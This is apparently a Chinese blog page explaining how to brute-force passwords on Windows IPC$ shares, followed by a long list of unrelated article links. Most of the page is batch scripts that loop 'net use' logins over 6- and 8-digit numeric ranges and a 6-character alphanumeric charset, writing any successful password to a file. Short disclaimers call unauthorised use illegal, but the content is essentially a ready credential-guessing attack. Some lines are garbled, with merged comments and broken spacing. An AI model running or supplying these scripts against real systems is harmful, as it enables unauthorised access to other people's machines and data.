当前位置: 首页 > news >正文

IPC$漏洞多位密码爆破方法

    虽然不应该将其用于非法的密码破解行为,但从代码修改角度来说,如果要破解多位密码(比如 n 位),你可以按照以下方式调整:

 

破解多位纯数字密码

如果你想破解 6 位纯数字密码:

FOR /L %%i IN (100000,1,999999) DO (net use \\target - ip\ipc$ /user:weak %%i && (echo %%i>ipc - pwd.txt)
)

如果你想破解例如 8 位纯数字密码:

FOR /L %%i IN (10000000,1,99999999) DO (net use \\target - ip\ipc$ /user:weak %%i && (echo %%i>ipc - pwd.txt)
)

破解包含字母的多位密码(更复杂的情况)

如果密码包含字母,那么情况会复杂很多。一种简单粗暴的方式是通过多层循环来生成所有可能的字符组合。例如,假设密码是由小写字母和数字组成的 6 位密码,那么可以这样(以下只是一个简单的示例,实际情况会因为字符集的大小和密码长度而变得非常复杂):

@echo off
setlocal enabledelayedexpansionrem 定义字符集,这里是数字 0 - 9 和小写字母 a - z
set characters=0123456789abcdefghijklmnopqrstuvwxyzrem 6 位密码,所以有 6 层循环
for /L %%a in (0,1,35) do (for /L %%b in (0,1,35) do (for /L %%c in (0,1,35) do (for /L %%d in (0,1,35) do (for /L %%e in (0,1,35) do (for /L %%f in (0,1,35) do (set password=!characters:~%%a,1!!characters:~%%b,1!!characters:~%%c,1!!characters:~%%d,1!!characters:~%%e,1!!characters:~%%f,1!net use \\target - ip\ipc$ /user:weak!password! && (echo!password!>ipc - pwd.txt))))))
)

       这种方法的计算量会随着密码长度和字符集的大小呈指数增长,并且如前面所强调的,在没有合法授权的情况下,在任何网络环境中使用类似代码去尝试破解密码都是违法的行为。

 

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • Qml 实现星级评分组件
  • MyBatis 入门之动态 SQL
  • ElasticSearch的DSL查询④(DSL查询、RestClient的DSL查询)
  • Windows安装HeidiSQL教程(图文)
  • 在 SNMP 中的数据类型码
  • 机器学习 第10章 降维与度量学习
  • 真实案例分享:零售企业如何避免销售数据的无效分析?
  • Kali Linux 设置与维护教程
  • 【开源大模型生态7】华为的盘古大模型
  • 《三角洲行动》“是时候玩点好的” 9月26日在PC及移动端上线
  • vscode 高效率开发手册
  • 一分钟了解统一软件开发过程RUP的那点事
  • 说说相机标定?
  • react-问卷星项目(1)
  • 【JAVA基础】实现Tomcat基本功能
  • 【JavaScript】通过闭包创建具有私有属性的实例对象
  • 【React系列】如何构建React应用程序
  • exports和module.exports
  • Java程序员幽默爆笑锦集
  • JS题目及答案整理
  • Laravel 中的一个后期静态绑定
  • Puppeteer:浏览器控制器
  • ReactNative开发常用的三方模块
  • Redis 懒删除(lazy free)简史
  • Theano - 导数
  • vuex 笔记整理
  • Vue实战(四)登录/注册页的实现
  • WebSocket使用
  • 百度贴吧爬虫node+vue baidu_tieba_crawler
  • 反思总结然后整装待发
  • 构造函数(constructor)与原型链(prototype)关系
  • 微信小程序上拉加载:onReachBottom详解+设置触发距离
  • 小程序测试方案初探
  • 小试R空间处理新库sf
  • 译自由幺半群
  • ​ 无限可能性的探索:Amazon Lightsail轻量应用服务器引领数字化时代创新发展
  • ​数据结构之初始二叉树(3)
  • ​直流电和交流电有什么区别为什么这个时候又要变成直流电呢?交流转换到直流(整流器)直流变交流(逆变器)​
  • # 20155222 2016-2017-2 《Java程序设计》第5周学习总结
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #git 撤消对文件的更改
  • #常见电池型号介绍 常见电池尺寸是多少【详解】
  • #每日一题合集#牛客JZ23-JZ33
  • $.proxy和$.extend
  • (1)svelte 教程:hello world
  • (C语言版)链表(三)——实现双向链表创建、删除、插入、释放内存等简单操作...
  • (day 2)JavaScript学习笔记(基础之变量、常量和注释)
  • (附源码)spring boot建达集团公司平台 毕业设计 141538
  • (附源码)ssm码农论坛 毕业设计 231126
  • (强烈推荐)移动端音视频从零到上手(下)
  • (算法)Travel Information Center
  • (转)linux下的时间函数使用
  • * 论文笔记 【Wide Deep Learning for Recommender Systems】
  • .net CHARTING图表控件下载地址
  • .net core docker部署教程和细节问题